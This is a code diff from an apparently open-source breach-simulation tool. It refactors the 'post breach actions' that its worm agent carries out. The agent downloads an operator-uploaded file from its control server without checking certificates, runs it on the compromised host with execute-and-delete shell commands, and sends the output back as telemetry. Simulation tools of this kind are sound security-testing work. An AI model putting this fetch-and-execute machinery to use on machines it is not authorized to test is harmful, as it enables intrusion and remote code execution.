Refactoring and improvements

monkey/infection_monkey/example.conf

@@ -98,5 +98,11 @@
     "victims_max_exploit": 7,
     "victims_max_find": 30,
     "post_breach_actions" : [],
-    "custom_post_breach" : { "linux": "", "windows": "", "linux_file": "", "windows_file": "" }
+    "custom_post_breach" : { "linux": "",
+                             "windows": "",
+                             "linux_file": "",
+                             "windows_file": "",
+                             "windows_file_info": {"name": "", "size": "0" },
+                             "linux_file_info": {"name": "", "size":"0"}
+                           }
 }

monkey/infection_monkey/post_breach/file_execution.py

@@ -1,8 +1,100 @@
 from infection_monkey.post_breach.pba import PBA
+from infection_monkey.control import ControlClient
+import infection_monkey.monkeyfs as monkeyfs
+from infection_monkey.config import WormConfiguration
+import requests
+import shutil
+import os
+import logging
+
+LOG = logging.getLogger(__name__)
+
+__author__ = 'VakarisZ'
+
+DOWNLOAD_CHUNK = 1024
+DEFAULT_LINUX_COMMAND = "chmod +x {0} ; {0} ; rm {0}"
+DEFAULT_WINDOWS_COMMAND = "{0} & del {0}"
 
 
 class FileExecution(PBA):
-    def __init__(self, file_path):
+    def __init__(self, linux_command="", windows_command=""):
-        linux_command = "chmod 110 {0} ; {0} ; rm {0}".format(file_path)
+        self.linux_file_info = WormConfiguration.custom_post_breach['linux_file_info']
-        win_command = "{0} & del {0}".format(file_path)
+        self.windows_file_info = WormConfiguration.custom_post_breach['windows_file_info']
-        super(FileExecution, self).__init__("File execution", linux_command, win_command)
+        super(FileExecution, self).__init__("File execution", linux_command, windows_command)
+
+    def execute_linux(self):
+        FileExecution.download_PBA_file(FileExecution.get_dest_dir(WormConfiguration, True),
+                                        self.linux_file_info['name'],
+                                        self.linux_file_info['size'])
+        return super(FileExecution, self).execute_linux()
+
+    def execute_win(self):
+        FileExecution.download_PBA_file(FileExecution.get_dest_dir(WormConfiguration, True),
+                                        self.windows_file_info['name'],
+                                        self.windows_file_info['size'])
+        return super(FileExecution, self).execute_win()
+
+    def add_default_command(self, is_linux):
+        if is_linux:
+            file_path = os.path.join(FileExecution.get_dest_dir(WormConfiguration, is_linux=True),
+                                     self.linux_file_info["name"])
+            self.linux_command = DEFAULT_LINUX_COMMAND.format(file_path)
+        else:
+            file_path = os.path.join(FileExecution.get_dest_dir(WormConfiguration, is_linux=False),
+                                     self.windows_file_info["name"])
+            self.windows_command = DEFAULT_WINDOWS_COMMAND.format(file_path)
+
+    @staticmethod
+    def download_PBA_file(dst_dir, filename, size):
+        """
+        Handles post breach action file download
+        :param dst_dir: Destination directory
+        :param filename: Filename
+        :param size: File size in bytes
+        :return: True if successful, false otherwise
+        """
+        PBA_file_v_path = FileExecution.download_PBA_file_to_vfs(filename, size)
+        try:
+            with monkeyfs.open(PBA_file_v_path, "rb") as downloaded_PBA_file:
+                with open(os.path.join(dst_dir, filename), 'wb') as written_PBA_file:
+                    shutil.copyfileobj(downloaded_PBA_file, written_PBA_file)
+            return True
+        except IOError as e:
+            LOG.error("Can not download post breach file to target machine, because %s" % e)
+            return False
+
+    @staticmethod
+    def download_PBA_file_to_vfs(filename, size):
+        if not WormConfiguration.current_server:
+            return None
+        try:
+            dest_file = monkeyfs.virtual_path(filename)
+            if (monkeyfs.isfile(dest_file)) and (size == monkeyfs.getsize(dest_file)):
+                return dest_file
+            else:
+                download = requests.get("https://%s/api/pba/download/%s" %
+                                        (WormConfiguration.current_server, filename),
+                                        verify=False,
+                                        proxies=ControlClient.proxies)
+
+                with monkeyfs.open(dest_file, 'wb') as file_obj:
+                    for chunk in download.iter_content(chunk_size=DOWNLOAD_CHUNK):
+                        if chunk:
+                            file_obj.write(chunk)
+                    file_obj.flush()
+                if size == monkeyfs.getsize(dest_file):
+                    return dest_file
+
+        except Exception as exc:
+            LOG.warn("Error connecting to control server %s: %s",
+                     WormConfiguration.current_server, exc)
+
+    @staticmethod
+    def get_dest_dir(config, is_linux):
+        """
+        Gets monkey directory from config. (We put post breach files in the same dir as monkey)
+        """
+        if is_linux:
+            return os.path.dirname(config.dropper_target_path_linux)
+        else:
+            return os.path.dirname(config.dropper_target_path_win_32)

monkey/infection_monkey/post_breach/pba.py

@@ -19,20 +19,25 @@ class PBA(object):
         else:
             command = self.windows_command
             exec_funct = self.execute_win
-        try:
+        if command:
             ControlClient.send_telemetry('post_breach', {'command': command,
                                                          'output': exec_funct(),
                                                          'name': self.name})
-            return True
-        except subprocess.CalledProcessError as e:
-            ControlClient.send_telemetry('post_breach', {'command': command,
-                                                         'output': "Couldn't execute post breach command: %s" % e,
-                                                         'name': self.name})
-            LOG.error("Couldn't execute post breach command: %s" % e)
-            return False
 
     def execute_linux(self):
-        return subprocess.check_output(self.linux_command, shell=True) if self.linux_command else False
+        # Default linux PBA execution function. Override if additional functionality is needed
+        if self.linux_command:
+            try:
+                return subprocess.check_output(self.linux_command, stderr=subprocess.STDOUT, shell=True)
+            except subprocess.CalledProcessError as e:
+                # Return error output of the command
+                return e.output
 
     def execute_win(self):
-        return subprocess.check_output(self.windows_command, shell=True) if self.windows_command else False
+        # Default windows PBA execution function. Override if additional functionality is needed
+        if self.windows_command:
+            try:
+                return subprocess.check_output(self.windows_command, stderr=subprocess.STDOUT, shell=True)
+            except subprocess.CalledProcessError as e:
+                # Return error output of the command
+                return e.output

monkey/infection_monkey/post_breach/post_breach_handler.py

@@ -1,12 +1,6 @@
 import logging
 import infection_monkey.config
 import platform
-from infection_monkey.control import ControlClient
-import infection_monkey.monkeyfs as monkeyfs
-from infection_monkey.config import WormConfiguration
-import requests
-import shutil
-import os
 from file_execution import FileExecution
 from pba import PBA
 
@@ -14,8 +8,6 @@ LOG = logging.getLogger(__name__)
 
 __author__ = 'VakarisZ'
 
-DOWNLOAD_CHUNK = 1024
-
 
 # Class that handles post breach action execution
 class PostBreach(object):
@@ -26,77 +18,49 @@ class PostBreach(object):
     def execute(self):
         for pba in self.pba_list:
             pba.run(self.os_is_linux)
+        LOG.info("Post breach actions executed")
 
-    def config_to_pba_list(self, config):
+    @staticmethod
+    def config_to_pba_list(config):
         """
-        Should return a list of PBA's generated from config. After full implementation this will pick
+        Returns a list of PBA objects generated from config.
-        which PBA's to run.
         """
         pba_list = []
-        # Get custom PBA commands from config
+        pba_list.extend(PostBreach.get_custom(config))
-        custom_pba_linux = config.custom_post_breach['linux']
-        custom_pba_windows = config.custom_post_breach['windows']
-
-        if custom_pba_linux or custom_pba_windows:
-            pba_list.append(PBA('custom_pba', custom_pba_linux, custom_pba_windows))
-
-        # Download user's pba file by providing dest. dir, filename and file size
-        if config.custom_post_breach['linux_file'] and self.os_is_linux:
-            uploaded = PostBreach.download_PBA_file(PostBreach.get_dest_dir(config, self.os_is_linux),
-                                         config.custom_post_breach['linux_file_info']['name'],
-                                         config.custom_post_breach['linux_file_info']['size'])
-            if not custom_pba_linux and uploaded:
-                pba_list.append(FileExecution("./"+config.custom_post_breach['linux_file_info']['name']))
-        elif config.custom_post_breach['windows_file'] and not self.os_is_linux:
-            uploaded = PostBreach.download_PBA_file(PostBreach.get_dest_dir(config, self.os_is_linux),
-                                         config.custom_post_breach['windows_file_info']['name'],
-                                         config.custom_post_breach['windows_file_info']['size'])
-            if not custom_pba_windows and uploaded:
-                pba_list.append(FileExecution(config.custom_post_breach['windows_file_info']['name']))
 
         return pba_list
 
     @staticmethod
-    def download_PBA_file(dst_dir, filename, size):
+    def get_custom(config):
-        PBA_file_v_path = PostBreach.download_PBA_file_to_vfs(filename, size)
+        custom_list = []
-        try:
+        file_pba = FileExecution()
-            with monkeyfs.open(PBA_file_v_path, "rb") as downloaded_PBA_file:
+        command_pba = PBA(name="Custom post breach action")
-                with open(os.path.join(dst_dir, filename), 'wb') as written_PBA_file:
+        post_breach = config.custom_post_breach
-                    shutil.copyfileobj(downloaded_PBA_file, written_PBA_file)
+        linux_command = post_breach['linux']
-            return True
+        windows_command = post_breach['windows']
-        except IOError as e:
-            LOG.error("Can not download post breach file to target machine, because %s" % e)
-            return False
 
-    @staticmethod
+        # Add commands to linux pba
-    def download_PBA_file_to_vfs(filename, size):
+        if post_breach['linux_file_info']['name']:
-        if not WormConfiguration.current_server:
+            if linux_command:
-            return None
+                file_pba.linux_command=linux_command
-        try:
-            dest_file = monkeyfs.virtual_path(filename)
-            if (monkeyfs.isfile(dest_file)) and (size == monkeyfs.getsize(dest_file)):
-                return dest_file
             else:
-                download = requests.get("https://%s/api/pba/download/%s" %
+                file_pba.add_default_command(is_linux=True)
-                                        (WormConfiguration.current_server, filename),
+        elif linux_command:
-                                        verify=False,
+            command_pba.linux_command = linux_command
-                                        proxies=ControlClient.proxies)
 
-                with monkeyfs.open(dest_file, 'wb') as file_obj:
+        # Add commands to windows pba
-                    for chunk in download.iter_content(chunk_size=DOWNLOAD_CHUNK):
+        if post_breach['windows_file_info']['name']:
-                        if chunk:
+            if windows_command:
-                            file_obj.write(chunk)
+                file_pba.windows_command=windows_command
-                    file_obj.flush()
-                if size == monkeyfs.getsize(dest_file):
-                    return dest_file
-
-        except Exception as exc:
-            LOG.warn("Error connecting to control server %s: %s",
-                     WormConfiguration.current_server, exc)
-
-    @staticmethod
-    def get_dest_dir(config, is_linux):
-        if is_linux:
-            return os.path.dirname(config.dropper_target_path_linux)
             else:
-            return os.path.dirname(config.dropper_target_path_win_32)
+                file_pba.add_default_command(is_linux=False)
+        elif windows_command:
+            command_pba.windows_command = windows_command
+
+        # Add pba's to list
+        if file_pba.linux_command or file_pba.windows_command:
+            custom_list.append(file_pba)
+        if command_pba.windows_command or command_pba.linux_command:
+            custom_list.append(command_pba)
+
+        return custom_list

monkey/monkey_island/cc/resources/file_upload.py

@@ -1,6 +1,6 @@
 import flask_restful
 from flask import request, send_from_directory, Response
-from cc.services.config import ConfigService
+from cc.services.config import ConfigService, WINDOWS_PBA_INFO, LINUX_PBA_INFO
 import os
 from werkzeug.utils import secure_filename
 import logging
@@ -13,12 +13,6 @@ GET_FILE_DIR = "./userUploads"
 # What endpoints front end uses to identify which files to work with
 LINUX_PBA_TYPE = 'PBAlinux'
 WINDOWS_PBA_TYPE = 'PBAwindows'
-# Where to find file info in config
-PBA_CONF_PATH = ['monkey', 'behaviour', 'custom_post_breach']
-WINDOWS_PBA_INFO = copy.deepcopy(PBA_CONF_PATH)
-WINDOWS_PBA_INFO.append('windows_file_info')
-LINUX_PBA_INFO = copy.deepcopy(PBA_CONF_PATH)
-LINUX_PBA_INFO.append('linux_file_info')
 
 
 class FileUpload(flask_restful.Resource):

monkey/monkey_island/cc/resources/telemetry.py

@@ -261,7 +261,7 @@ class Telemetry(flask_restful.Resource):
     def process_post_breach_telemetry(telemetry_json):
         mongo.db.monkey.update(
             {'guid': telemetry_json['monkey_guid']},
-            {'$push': {'post_breach_actions': telemetry_json['data']}})
+            {'$push': {'pba_results': telemetry_json['data']}})
 
 TELEM_PROCESS_DICT = \
     {

monkey/monkey_island/cc/services/config.py

@@ -38,6 +38,13 @@ ENCRYPTED_CONFIG_STRINGS = \
 
 UPLOADS_DIR = './monkey_island/cc/userUploads'
 
+# Where to find file info in config
+PBA_CONF_PATH = ['monkey', 'behaviour', 'custom_post_breach']
+WINDOWS_PBA_INFO = copy.deepcopy(PBA_CONF_PATH)
+WINDOWS_PBA_INFO.append('windows_file_info')
+LINUX_PBA_INFO = copy.deepcopy(PBA_CONF_PATH)
+LINUX_PBA_INFO.append('linux_file_info')
+
 class ConfigService:
     default_config = None
 
@@ -150,6 +157,8 @@ class ConfigService:
 
     @staticmethod
     def update_config(config_json, should_encrypt):
+        # Island file upload on file_upload endpoint and sets correct config there
+        ConfigService.keep_PBA_files(config_json)
         if should_encrypt:
             try:
                 ConfigService.encrypt_config(config_json)
@@ -160,6 +169,18 @@ class ConfigService:
         logger.info('monkey config was updated')
         return True
 
+    @staticmethod
+    def keep_PBA_files(config_json):
+        """
+        file_upload endpoint handles file upload and sets config asynchronously.
+        This brings file info in config up to date.
+        """
+        if ConfigService.get_config():
+            linux_info = ConfigService.get_config_value(LINUX_PBA_INFO)
+            windows_info = ConfigService.get_config_value(WINDOWS_PBA_INFO)
+            config_json['monkey']['behaviour']['custom_post_breach']['linux_file_info'] = linux_info
+            config_json['monkey']['behaviour']['custom_post_breach']['windows_file_info'] = windows_info
+
     @staticmethod
     def init_default_config():
         if ConfigService.default_config is None:

monkey/monkey_island/cc/services/node.py

@@ -143,7 +143,7 @@ class NodeService:
                 "os": NodeService.get_monkey_os(monkey),
                 "dead": monkey["dead"],
                 "domain_name": "",
-                "post_breach_actions": monkey["post_breach_actions"] if "post_breach_actions" in monkey else ""
+                "pba_results": monkey["pba_results"] if "pba_results" in monkey else []
             }
 
     @staticmethod

monkey/monkey_island/cc/services/report.py

@@ -156,7 +156,7 @@ class ReportService:
                 'exploits': list(set(
                     [ReportService.EXPLOIT_DISPLAY_DICT[exploit['exploiter']] for exploit in monkey['exploits'] if
                      exploit['result']])),
-                'post_breach_actions': monkey['post_breach_actions'] if 'post_breach_actions' in monkey else 'None'
+                'pba_results': monkey['pba_results'] if 'pba_results' in monkey else 'None'
             }
             for monkey in exploited]
 

monkey/monkey_island/cc/ui/src/components/Main.js

@@ -179,15 +179,11 @@ class AppComponent extends AuthComponent {
             <Col sm={9} md={10} smOffset={3} mdOffset={2} className="main">
               <Route path='/login' render={(props) => (<LoginPageComponent onStatusChange={this.updateStatus}/>)}/>
               {this.renderRoute('/', <RunServerPage onStatusChange={this.updateStatus}/>, true)}
-              {this.renderRoute('/configure', <ConfigurePage onStatusChange={this.updateStatus}
+              {this.renderRoute('/configure', <ConfigurePage onStatusChange={this.updateStatus}/>)}
-                                                             removePBAfiles={this.state.removePBAfiles}
-                                                             setRemovePBAfiles={this.setRemovePBAfiles}/>)}
               {this.renderRoute('/run-monkey', <RunMonkeyPage onStatusChange={this.updateStatus}/>)}
               {this.renderRoute('/infection/map', <MapPage onStatusChange={this.updateStatus}/>)}
               {this.renderRoute('/infection/telemetry', <TelemetryPage onStatusChange={this.updateStatus}/>)}
-              {this.renderRoute('/start-over', <StartOverPage onStatusChange={this.updateStatus}
+              {this.renderRoute('/start-over', <StartOverPage onStatusChange={this.updateStatus}/>)}
-                                                              removePBAfiles={this.state.removePBAfiles}
-                                                              setRemovePBAfiles={this.setRemovePBAfiles}/>)}
               {this.renderRoute('/report', <ReportPage onStatusChange={this.updateStatus}/>)}
               {this.renderRoute('/license', <LicensePage onStatusChange={this.updateStatus}/>)}
             </Col>

monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js

@@ -117,10 +117,14 @@ class ConfigurePageComponent extends AuthComponent {
 
   removePBAfiles(){
     // We need to clean files from widget, local state and configuration (to sync with bac end)
-    if (this.hasOwnProperty('PBAlinuxPond')){
+    if (this.hasOwnProperty('PBAlinuxPond') && this.PBAwindowsPond !== null){
       this.PBAlinuxPond.removeFile();
       this.PBAwindowsPond.removeFile();
     }
+    let request_options = {method: 'DELETE',
+                           headers: {'Content-Type': 'text/plain'}};
+    this.authFetch('/api/fileUpload/PBAlinux', request_options);
+    this.authFetch('/api/fileUpload/PBAwindows', request_options);
     this.setState({PBAlinuxFile: []});
     this.setState({PBAwinFile: []});
   }
@@ -188,37 +192,21 @@ class ConfigurePageComponent extends AuthComponent {
         })
       }}
       ref={ref => this.PBAlinuxPond = ref}
-      onload={this.props.setRemovePBAfiles(false)}
     />)
-
   };
 
   getWinPBAfile(){
-    if (this.props.removePBAfiles){
+    if (this.state.PBAwinFile.length !== 0){
-      // If env was reset we need to remove files in react state
-      /*if (this.hasOwnProperty('PBAwinFile')){
-        this.setState({PBAwinFile: ''})
-      }*/
-    } else if (this.state.PBAwinFile.length !== 0){
-      console.log("Getting from local state")
       return ConfigurePageComponent.getPBAfile(this.state.PBAwinFile[0], true)
-    } else {
+    } else if (this.state.configuration.monkey.behaviour.custom_post_breach.windows_file_info.name){
-      console.log("Getting from config")
       return ConfigurePageComponent.getPBAfile(this.state.configuration.monkey.behaviour.custom_post_breach.windows_file_info)
     }
   }
 
   getLinuxPBAfile(){
-    if (this.props.removePBAfiles) {
+    if (this.state.PBAlinuxFile.length !== 0){
-      // If env was reset we need to remove files in react state
-      /*if (this.hasOwnProperty('PBAlinuxFile')){
-        this.setState({PBAlinuxFile: ''})
-      }*/
-    } else if (this.state.PBAlinuxFile.length !== 0){
-      console.log("Getting from local state")
       return ConfigurePageComponent.getPBAfile(this.state.PBAlinuxFile[0], true)
-    } else {
+    } else if (this.state.configuration.monkey.behaviour.custom_post_breach.linux_file_info.name) {
-      console.log("Getting from config")
       return ConfigurePageComponent.getPBAfile(this.state.configuration.monkey.behaviour.custom_post_breach.linux_file_info)
     }
   }
@@ -242,22 +230,28 @@ class ConfigurePageComponent extends AuthComponent {
       behaviour: {
         custom_post_breach: {
           linux: {
-            "ui:widget": "textarea"
+            "ui:widget": "textarea",
+            "ui:emptyValue": ""
           },
           linux_file: {
             "ui:widget": this.PBAlinux
           },
           windows: {
-            "ui:widget": "textarea"
+            "ui:widget": "textarea",
+            "ui:emptyValue": ""
           },
           windows_file: {
             "ui:widget": this.PBAwindows
           },
           linux_file_info: {
-            classNames: "linux-pba-file-info"
+            classNames: "linux-pba-file-info",
+            name:{ "ui:emptyValue": ""},
+            size:{ "ui:emptyValue": "0"}
           },
           windows_file_info: {
-            classNames: "windows-pba-file-info"
+            classNames: "windows-pba-file-info",
+            name:{ "ui:emptyValue": ""},
+            size:{ "ui:emptyValue": "0"}
           }
         }
       }
@@ -290,7 +284,8 @@ class ConfigurePageComponent extends AuthComponent {
                 uiSchema={uiSchema}
                 formData={this.state.configuration[this.state.selectedSection]}
                 onSubmit={this.onSubmit}
-                onChange={this.onChange} >
+                onChange={this.onChange}
+                noValidate={true}>
             <div>
               { this.state.allMonkeysAreDead ?
                 '' :

monkey/monkey_island/cc/ui/src/components/pages/StartOverPage.js

@@ -108,7 +108,6 @@ class StartOverPageComponent extends AuthComponent {
           this.setState({
               cleaned: true
             });
-          this.props.setRemovePBAfiles(true)
         }
       });
   }

monkey/monkey_island/cc/ui/src/components/report-components/PostBreach.js

@@ -9,11 +9,22 @@ let renderIpAddresses = function (val) {
   return <div>{renderArray(val.ip_addresses)} {(val.domain_name ? " (".concat(val.domain_name, ")") : "")} </div>;
 };
 
-let renderPostBreach = function (val) {
+let renderPostBreach = function (machine, pbaList) {
-  return <div>{val.map(x => <div>Name: {x.name}<br/>Command: {x.command}<br/>Output: {x.output}<br/></div>)}</div>;
+  if (pbaList.length === 0){
+    return
+  } else {
+      return <div>Machine: {machine.label}<br/>
+             {pbaList.map(x => <div>Name: {x.name}<br/>
+                                    Command: {x.command}<br/>
+                                    Output: {x.output}<br/></div>)}
+                                    </div>;
+  }
 };
 
 let renderMachine = function (val) {
+  if (val.pba_results.length === 0){
+    return
+  }
   return <div>{val.label} {renderIpAddresses(val)}</div>
 };
 
@@ -21,8 +32,7 @@ const columns = [
   {
     Header: 'Post breach actions',
     columns: [
-      {Header: 'Machine', id: 'machines', accessor: x => renderMachine(x)},
+      {id: 'post_breach_actions', accessor: x => renderPostBreach(x, x.pba_results)}
-      {Header: 'Post breach actions:', id: 'post_breach_actions', accessor: x => renderPostBreach(x.post_breach_actions)}
     ]
   }
 ];